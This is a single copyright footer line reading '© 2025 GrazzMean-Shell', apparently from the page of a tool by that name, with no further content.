© 2025 GrazzMean-Shell